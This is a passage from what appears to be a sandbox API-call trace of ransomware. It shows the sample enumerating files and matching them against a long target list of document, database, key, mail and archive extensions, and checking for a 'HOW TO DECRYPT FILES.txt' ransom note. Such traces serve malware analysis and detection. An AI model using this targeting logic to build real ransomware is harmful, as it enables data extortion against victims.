[0076.204] lstrlenA (lpString="*.mdb") returned 5 [0076.204] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe", pszSpec="*.fdb") returned 0 [0076.204] lstrlenA (lpString="*.fdb") returned 5 [0076.204] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe", pszSpec="*.wab") returned 0 [0076.204] lstrlenA (lpString="*.wab") returned 5 [0076.204] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe", pszSpec="*.dat") returned 0 [0076.204] lstrlenA (lpString="*.dat") returned 5 [0076.204] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe", pszSpec="*.txt") returned 0 [0076.204] lstrlenA (lpString="*.txt") returned 5 [0076.204] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe", pszSpec="*.jpeg") returned 0 [0076.204] lstrlenA (lpString="*.jpeg") returned 6 [0076.204] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe", pszSpec="*.jpg") returned 0 [0076.205] lstrlenA (lpString="*.jpg") returned 5 [0076.205] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe", pszSpec="*.png") returned 0 [0076.205] lstrlenA (lpString="*.png") returned 5 [0076.205] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe", pszSpec="*.php") returned 0 [0076.205] lstrlenA (lpString="*.php") returned 5 [0076.205] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe", pszSpec="*.cs") returned 0 [0076.205] lstrlenA (lpString="*.cs") returned 4 [0076.205] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe", pszSpec="*.cpp") returned 0 [0076.205] lstrlenA (lpString="*.cpp") returned 5 [0076.205] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe", pszSpec="*.rar") returned 0 [0076.205] lstrlenA (lpString="*.rar") returned 5 [0076.205] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe", pszSpec="*.zip") returned 0 [0076.205] lstrlenA (lpString="*.zip") returned 5 [0076.205] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe", pszSpec="*.html") returned 0 [0076.205] lstrlenA (lpString="*.html") returned 6 [0076.205] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe", pszSpec="*.htm") returned 0 [0076.205] lstrlenA (lpString="*.htm") returned 5 [0076.205] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe", pszSpec="*.xlsx") returned 0 [0076.205] lstrlenA (lpString="*.xlsx") returned 6 [0076.205] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe", pszSpec="*.xls") returned 0 [0076.205] lstrlenA (lpString="*.xls") returned 5 [0076.205] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe", pszSpec="*.mp4") returned 0 [0076.205] lstrlenA (lpString="*.mp4") returned 5 [0076.205] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe", pszSpec="*.ppt") returned 0 [0076.205] lstrlenA (lpString="*.ppt") returned 5 [0076.205] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe", pszSpec="*.pptx") returned 0 [0076.205] lstrlenA (lpString="*.pptx") returned 6 [0076.205] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe", pszSpec="*.doc") returned 0 [0076.205] lstrlenA (lpString="*.doc") returned 5 [0076.205] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe", pszSpec="*.dot") returned 0 [0076.205] lstrlenA (lpString="*.dot") returned 5 [0076.205] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe", pszSpec="*.docx") returned 0 [0076.205] lstrlenA (lpString="*.docx") returned 6 [0076.205] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe", pszSpec="*.7z") returned 0 [0076.205] lstrlenA (lpString="*.7z") returned 4 [0076.205] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe", pszSpec="*.tar") returned 0 [0076.206] lstrlenA (lpString="*.tar") returned 5 [0076.206] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe", pszSpec="*.bz2") returned 0 [0076.206] lstrlenA (lpString="*.bz2") returned 5 [0076.206] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe", pszSpec="*.gz") returned 0 [0076.206] lstrlenA (lpString="*.gz") returned 4 [0076.206] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe", pszSpec="*.mkv") returned 0 [0076.206] lstrlenA (lpString="*.mkv") returned 5 [0076.206] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe", pszSpec="*.eml") returned 0 [0076.206] lstrlenA (lpString="*.eml") returned 5 [0076.206] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe", pszSpec="*.msg") returned 0 [0076.206] lstrlenA (lpString="*.msg") returned 5 [0076.206] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe", pszSpec="*.edb") returned 0 [0076.206] lstrlenA (lpString="*.edb") returned 5 [0076.206] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe", pszSpec="*.accdb") returned 0 [0076.206] lstrlenA (lpString="*.accdb") returned 7 [0076.206] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe", pszSpec="*.odb") returned 0 [0076.206] lstrlenA (lpString="*.odb") returned 5 [0076.206] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe", pszSpec="*.java") returned 0 [0076.206] lstrlenA (lpString="*.java") returned 6 [0076.206] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe", pszSpec="*.asm") returned 0 [0076.206] lstrlenA (lpString="*.asm") returned 5 [0076.206] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe", pszSpec="*.pfx") returned 0 [0076.206] lstrlenA (lpString="*.pfx") returned 5 [0076.206] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe", pszSpec="*.pem") returned 0 [0076.206] lstrlenA (lpString="*.pem") returned 5 [0076.206] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe", pszSpec="*.p12") returned 0 [0076.206] lstrlenA (lpString="*.p12") returned 5 [0076.206] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe", pszSpec="*.gpg") returned 0 [0076.206] lstrlenA (lpString="*.gpg") returned 5 [0076.206] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe", pszSpec="*.vsd") returned 0 [0076.206] lstrlenA (lpString="*.vsd") returned 5 [0076.206] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe", pszSpec="*.odg") returned 0 [0076.206] lstrlenA (lpString="*.odg") returned 5 [0076.206] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe", pszSpec="*.raw") returned 0 [0076.207] lstrlenA (lpString="*.raw") returned 5 [0076.207] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe", pszSpec="*.nef") returned 0 [0076.207] lstrlenA (lpString="*.nef") returned 5 [0076.207] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe", pszSpec="*.svg") returned 0 [0076.207] lstrlenA (lpString="*.svg") returned 5 [0076.207] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe", pszSpec="*.psd") returned 0 [0076.207] lstrlenA (lpString="*.psd") returned 5 [0076.207] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe", pszSpec="*.vmx") returned 0 [0076.207] lstrlenA (lpString="*.vmx") returned 5 [0076.207] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe", pszSpec="*.vmdk") returned 0 [0076.207] lstrlenA (lpString="*.vmdk") returned 6 [0076.207] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe", pszSpec="*.vdi") returned 0 [0076.207] lstrlenA (lpString="*.vdi") returned 5 [0076.207] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe", pszSpec="*.lay6") returned 0 [0076.207] lstrlenA (lpString="*.lay6") returned 6 [0076.207] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe", pszSpec="*.mpeg") returned 0 [0076.207] lstrlenA (lpString="*.mpeg") returned 6 [0076.207] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe", pszSpec="*.djvu") returned 0 [0076.207] lstrlenA (lpString="*.djvu") returned 6 [0076.207] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe", pszSpec="*.tiff") returned 0 [0076.207] lstrlenA (lpString="*.tiff") returned 6 [0076.207] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe", pszSpec="*.backup") returned 0 [0076.207] lstrlenA (lpString="*.backup") returned 8 [0076.207] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe", pszSpec="*.pdf") returned 0 [0076.207] lstrlenA (lpString="*.pdf") returned 5 [0076.207] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe", pszSpec="*.cert") returned 0 [0076.207] lstrlenA (lpString="*.cert") returned 6 [0076.207] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe", pszSpec="*.docm") returned 0 [0076.207] lstrlenA (lpString="*.docm") returned 6 [0076.207] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe", pszSpec="*.xlsm") returned 0 [0076.207] lstrlenA (lpString="*.xlsm") returned 6 [0076.207] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe", pszSpec="*.dwg") returned 0 [0076.207] lstrlenA (lpString="*.dwg") returned 5 [0076.207] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe", pszSpec="*.nd") returned 0 [0076.207] lstrlenA (lpString="*.nd") returned 4 [0076.208] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe", pszSpec="*.tlg") returned 0 [0076.208] lstrlenA (lpString="*.tlg") returned 5 [0076.208] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe", pszSpec="*.lgb") returned 0 [0076.208] lstrlenA (lpString="*.lgb") returned 5 [0076.208] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe", pszSpec="*.mov") returned 0 [0076.208] lstrlenA (lpString="*.mov") returned 5 [0076.208] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe", pszSpec="*.xdw") returned 0 [0076.208] lstrlenA (lpString="*.xdw") returned 5 [0076.208] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe", pszSpec="*.ods") returned 0 [0076.208] lstrlenA (lpString="*.ods") returned 5 [0076.208] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe", pszSpec="*.wav") returned 0 [0076.208] lstrlenA (lpString="*.wav") returned 5 [0076.208] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe", pszSpec="*.mp3") returned 0 [0076.208] lstrlenA (lpString="*.mp3") returned 5 [0076.208] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe", pszSpec="*.aiff") returned 0 [0076.208] lstrlenA (lpString="*.aiff") returned 6 [0076.208] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe", pszSpec="*.flac") returned 0 [0076.208] lstrlenA (lpString="*.flac") returned 6 [0076.208] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe", pszSpec="*.m4a") returned 0 [0076.208] lstrlenA (lpString="*.m4a") returned 5 [0076.208] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe", pszSpec="*.csv") returned 0 [0076.208] lstrlenA (lpString="*.csv") returned 5 [0076.208] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83fa200, ftCreationTime.dwHighDateTime=0x1ce76b1, ftLastAccessTime.dwLowDateTime=0x801fa420, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x83fa200, ftLastWriteTime.dwHighDateTime=0x1ce76b1, nFileSizeHigh=0x0, nFileSizeLow=0x39780, dwReserved0=0x0, dwReserved1=0x0, cFileName="jaureg.exe", cAlternateFileName="")) returned 1 [0076.208] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.208] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="jaureg.exe") returned -1 [0076.208] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="jaureg.exe") returned -1 [0076.208] lstrcmpiA (lpString1="", lpString2="jaureg.exe") returned -1 [0076.208] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe") returned="jaucheck.exe" [0076.208] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\") returned="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\" [0076.208] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\") returned="" [0076.208] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\HOW TO DECRYPT FILES.txt" [0076.209] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\java\\java update\\how to decrypt files.txt")) returned 0x20 [0076.209] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\", lpString2="jaureg.exe" | out: lpString1="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaureg.exe") returned="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaureg.exe" [0076.209] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaureg.exe", pszSpec="*.ems") returned 0 [0076.209] lstrlenA (lpString="*.ems") returned 5 [0076.209] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaureg.exe", pszSpec="*.db") returned 0 [0076.209] lstrlenA (lpString="*.db") returned 4 [0076.209] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaureg.exe", pszSpec="*.dbf") returned 0 [0076.209] lstrlenA (lpString="*.dbf") returned 5 [0076.209] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaureg.exe", pszSpec="*.myox") returned 0 [0076.209] lstrlenA (lpString="*.myox") returned 6 [0076.209] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaureg.exe", pszSpec="*.myo") returned 0 [0076.209] lstrlenA (lpString="*.myo") returned 5 [0076.209] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaureg.exe", pszSpec="*.qbw") returned 0 [0076.209] lstrlenA (lpString="*.qbw") returned 5 [0076.209] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaureg.exe", pszSpec="*.qbb") returned 0 [0076.209] lstrlenA (lpString="*.qbb") returned 5 [0076.209] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaureg.exe", pszSpec="*.qbm") returned 0 [0076.209] lstrlenA (lpString="*.qbm") returned 5 [0076.209] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaureg.exe", pszSpec="*.qbo") returned 0 [0076.209] lstrlenA (lpString="*.qbo") returned 5 [0076.209] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaureg.exe", pszSpec="*.qbx") returned 0 [0076.209] lstrlenA (lpString="*.qbx") returned 5 [0076.209] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaureg.exe", pszSpec="*.qba") returned 0 [0076.209] lstrlenA (lpString="*.qba") returned 5 [0076.209] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaureg.exe", pszSpec="*.qby") returned 0 [0076.209] lstrlenA (lpString="*.qby") returned 5 [0076.209] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaureg.exe", pszSpec="*.qbj") returned 0 [0076.209] lstrlenA (lpString="*.qbj") returned 5 [0076.210] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaureg.exe", pszSpec="*.ofx") returned 0 [0076.210] lstrlenA (lpString="*.ofx") returned 5 [0076.210] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaureg.exe", pszSpec="*.qif") returned 0 [0076.210] lstrlenA (lpString="*.qif") returned 5 [0076.210] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaureg.exe", pszSpec="*.mye") returned 0 [0076.210] lstrlenA (lpString="*.mye") returned 5 [0076.210] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaureg.exe", pszSpec="*.mbox") returned 0 [0076.210] lstrlenA (lpString="*.mbox") returned 6 [0076.210] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaureg.exe", pszSpec="*.eml") returned 0 [0076.210] lstrlenA (lpString="*.eml") returned 5 [0076.210] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaureg.exe", pszSpec="*.pst") returned 0 [0076.210] lstrlenA (lpString="*.pst") returned 5 [0076.210] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaureg.exe", pszSpec="*.ost") returned 0 [0076.210] lstrlenA (lpString="*.ost") returned 5 [0076.210] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaureg.exe", pszSpec="*.idx") returned 0 [0076.210] lstrlenA (lpString="*.idx") returned 5 [0076.210] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaureg.exe", pszSpec="*.dbx") returned 0 [0076.210] lstrlenA (lpString="*.dbx") returned 5 [0076.210] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaureg.exe", pszSpec="*.sql") returned 0 [0076.210] lstrlenA (lpString="*.sql") returned 5 [0076.210] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaureg.exe", pszSpec="*.mdb") returned 0 [0076.210] lstrlenA (lpString="*.mdb") returned 5 [0076.210] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaureg.exe", pszSpec="*.fdb") returned 0 [0076.210] lstrlenA (lpString="*.fdb") returned 5 [0076.210] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaureg.exe", pszSpec="*.wab") returned 0 [0076.210] lstrlenA (lpString="*.wab") returned 5 [0076.210] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaureg.exe", pszSpec="*.dat") returned 0 [0076.210] lstrlenA (lpString="*.dat") returned 5 [0076.210] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaureg.exe", pszSpec="*.txt") returned 0 [0076.210] lstrlenA (lpString="*.txt") returned 5 [0076.210] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaureg.exe", pszSpec="*.jpeg") returned 0 [0076.210] lstrlenA (lpString="*.jpeg") returned 6 [0076.211] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaureg.exe", pszSpec="*.jpg") returned 0 [0076.211] lstrlenA (lpString="*.jpg") returned 5 [0076.211] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaureg.exe", pszSpec="*.png") returned 0 [0076.211] lstrlenA (lpString="*.png") returned 5 [0076.211] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaureg.exe", pszSpec="*.php") returned 0 [0076.211] lstrlenA (lpString="*.php") returned 5 [0076.211] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaureg.exe", pszSpec="*.cs") returned 0 [0076.211] lstrlenA (lpString="*.cs") returned 4 [0076.211] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaureg.exe", pszSpec="*.cpp") returned 0 [0076.211] lstrlenA (lpString="*.cpp") returned 5 [0076.211] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaureg.exe", pszSpec="*.rar") returned 0 [0076.211] lstrlenA (lpString="*.rar") returned 5 [0076.211] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaureg.exe", pszSpec="*.zip") returned 0 [0076.211] lstrlenA (lpString="*.zip") returned 5 [0076.211] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaureg.exe", pszSpec="*.html") returned 0 [0076.211] lstrlenA (lpString="*.html") returned 6 [0076.211] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaureg.exe", pszSpec="*.htm") returned 0 [0076.211] lstrlenA (lpString="*.htm") returned 5 [0076.211] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaureg.exe", pszSpec="*.xlsx") returned 0 [0076.211] lstrlenA (lpString="*.xlsx") returned 6 [0076.211] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaureg.exe", pszSpec="*.xls") returned 0 [0076.211] lstrlenA (lpString="*.xls") returned 5 [0076.211] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaureg.exe", pszSpec="*.mp4") returned 0 [0076.211] lstrlenA (lpString="*.mp4") returned 5 [0076.211] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaureg.exe", pszSpec="*.ppt") returned 0 [0076.211] lstrlenA (lpString="*.ppt") returned 5 [0076.211] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaureg.exe", pszSpec="*.pptx") returned 0 [0076.211] lstrlenA (lpString="*.pptx") returned 6 [0076.211] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaureg.exe", pszSpec="*.doc") returned 0 [0076.211] lstrlenA (lpString="*.doc") returned 5 [0076.212] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaureg.exe", pszSpec="*.dot") returned 0 [0076.212] lstrlenA (lpString="*.dot") returned 5 [0076.212] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaureg.exe", pszSpec="*.docx") returned 0 [0076.212] lstrlenA (lpString="*.docx") returned 6 [0076.212] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaureg.exe", pszSpec="*.7z") returned 0 [0076.212] lstrlenA (lpString="*.7z") returned 4 [0076.212] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaureg.exe", pszSpec="*.tar") returned 0 [0076.212] lstrlenA (lpString="*.tar") returned 5 [0076.212] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaureg.exe", pszSpec="*.bz2") returned 0 [0076.212] lstrlenA (lpString="*.bz2") returned 5 [0076.212] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaureg.exe", pszSpec="*.gz") returned 0 [0076.212] lstrlenA (lpString="*.gz") returned 4 [0076.212] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaureg.exe", pszSpec="*.mkv") returned 0 [0076.212] lstrlenA (lpString="*.mkv") returned 5 [0076.212] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaureg.exe", pszSpec="*.eml") returned 0 [0076.212] lstrlenA (lpString="*.eml") returned 5 [0076.212] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaureg.exe", pszSpec="*.msg") returned 0 [0076.212] lstrlenA (lpString="*.msg") returned 5 [0076.212] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaureg.exe", pszSpec="*.edb") returned 0 [0076.212] lstrlenA (lpString="*.edb") returned 5 [0076.212] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaureg.exe", pszSpec="*.accdb") returned 0 [0076.212] lstrlenA (lpString="*.accdb") returned 7 [0076.212] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaureg.exe", pszSpec="*.odb") returned 0 [0076.212] lstrlenA (lpString="*.odb") returned 5 [0076.212] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaureg.exe", pszSpec="*.java") returned 0 [0076.212] lstrlenA (lpString="*.java") returned 6 [0076.212] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaureg.exe", pszSpec="*.asm") returned 0 [0076.212] lstrlenA (lpString="*.asm") returned 5 [0076.212] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaureg.exe", pszSpec="*.pfx") returned 0 [0076.212] lstrlenA (lpString="*.pfx") returned 5 [0076.212] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaureg.exe", pszSpec="*.pem") returned 0 [0076.213] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dd4800, ftCreationTime.dwHighDateTime=0x1ce76b1, ftLastAccessTime.dwLowDateTime=0x80220580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x5dd4800, ftLastWriteTime.dwHighDateTime=0x1ce76b1, nFileSizeHigh=0x0, nFileSizeLow=0x7bd80, dwReserved0=0x0, dwReserved1=0x0, cFileName="jucheck.exe", cAlternateFileName="")) returned 1 